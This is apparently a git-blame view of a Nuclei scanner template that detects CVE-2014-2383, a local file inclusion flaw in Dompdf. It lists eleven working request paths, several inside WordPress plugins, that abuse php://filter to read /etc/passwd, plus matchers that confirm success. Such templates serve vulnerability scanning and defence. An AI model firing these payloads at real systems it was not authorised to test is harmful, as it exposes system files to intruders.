2021-09-21 10:16:26 +00:00
id : CVE-2014-2383
2021-06-10 09:45:21 +00:00
info :
2022-08-10 05:05:50 +00:00
name : Dompdf < v0.6.0 - Local File Inclusion
author : 0x_Akoko,akincibor,ritikchaddha
2023-07-11 19:49:27 +00:00
severity : medium
2022-08-06 12:50:12 +00:00
description : |
A vulnerability in dompdf.php in dompdf before 0.6.1, when DOMPDF_ENABLE_PHP is enabled, allows context-dependent attackers to bypass chroot protections and read arbitrary files via a PHP protocol and wrappers in the input_file parameter, as demonstrated by a php://filter/read=convert.base64-encode/resource in the input_file parameter.
2023-09-27 15:51:13 +00:00
impact : |
The vulnerability can lead to unauthorized access to sensitive files, remote code execution, and compromise of the affected system.
2023-09-06 13:22:34 +00:00
remediation : |
Upgrade Dompdf to a version higher than v0.6.0 to mitigate the vulnerability.
2022-02-25 14:32:23 +00:00
reference :
- https://www.exploit-db.com/exploits/33004
2022-05-17 09:18:12 +00:00
- http://seclists.org/fulldisclosure/2014/Apr/258
- https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-2383/
2022-08-06 11:47:45 +00:00
- https://wpscan.com/vulnerability/1d64d0cb-6b71-47bb-8807-7c8350922582
2022-08-06 12:50:12 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2014-2383
2022-02-25 14:32:23 +00:00
classification :
2023-07-11 19:49:27 +00:00
cvss-metrics : CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
cvss-score : 6.8
2022-02-25 14:32:23 +00:00
cve-id : CVE-2014-2383
2023-07-11 19:49:27 +00:00
cwe-id : CWE-200
2024-03-23 09:28:19 +00:00
epss-score : 0.00511
epss-percentile : 0.76134
2023-09-06 13:22:34 +00:00
cpe : cpe:2.3:a:dompdf:dompdf:*:beta3:*:*:*:*:*:*
2021-09-21 10:16:26 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 13:22:34 +00:00
max-request : 11
2023-07-11 19:49:27 +00:00
vendor : dompdf
product : dompdf
2024-01-14 09:21:50 +00:00
tags : cve2014,cve,lfi,wp-plugin,wpscan,dompdf,wordpress,wp,edb,seclists
2021-06-11 09:52:14 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-06-10 09:45:21 +00:00
- method : GET
path :
2024-04-12 10:31:51 +00:00
- "{{BaseURL}}{{paths}}"
2024-04-12 10:51:25 +00:00
2024-04-12 10:31:51 +00:00
payloads :
paths :
- "/dompdf.php?input_file=php://filter/resource=/etc/passwd"
- "/PhpSpreadsheet/Writer/PDF/DomPDF.php?input_file=php://filter/resource=/etc/passwd"
- "/lib/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd"
- "/includes/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd"
- "/wp-content/plugins/web-portal-lite-client-portal-secure-file-sharing-private-messaging/includes/libs/pdf/dompdf.php?input_file=php://filter/resource=/etc/passwd"
- "/wp-content/plugins/buddypress-component-stats/lib/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd"
- "/wp-content/plugins/abstract-submission/dompdf-0.5.1/dompdf.php?input_file=php://filter/resource=/etc/passwd"
- "/wp-content/plugins/post-pdf-export/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd"
- "/wp-content/plugins/blogtopdf/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd"
- "/wp-content/plugins/gboutique/library/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd"
- "/wp-content/plugins/wp-ecommerce-shop-styling/includes/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd"
2021-10-09 11:07:50 +00:00
2021-10-09 05:16:16 +00:00
stop-at-first-match : true
2023-07-11 19:49:27 +00:00
2021-06-10 09:45:21 +00:00
matchers-condition : and
matchers :
2021-06-11 09:03:43 +00:00
- type : word
2023-07-11 19:49:27 +00:00
part : header
2021-06-11 09:03:43 +00:00
words :
- "application/pdf"
- 'filename="dompdf_out.pdf"'
2021-06-11 09:17:02 +00:00
condition : and
2021-06-10 09:45:21 +00:00
2023-07-11 19:49:27 +00:00
- type : regex
regex :
- "root:[x*]:0:0"
2021-06-10 09:45:21 +00:00
- type : status
status :
- 200
2024-04-12 10:58:47 +00:00
# digest: 4a0a0047304502205cb959d082fabd4770f37fc68ad58966bd0be9ae6c3d679ca44b58065853a807022100a108783e71b8909c00ec2219ba21bd0eb739d3abc0b5e6b9f9ea0ee7d85cbf69:922c64590222798bb761d5b6d8e72950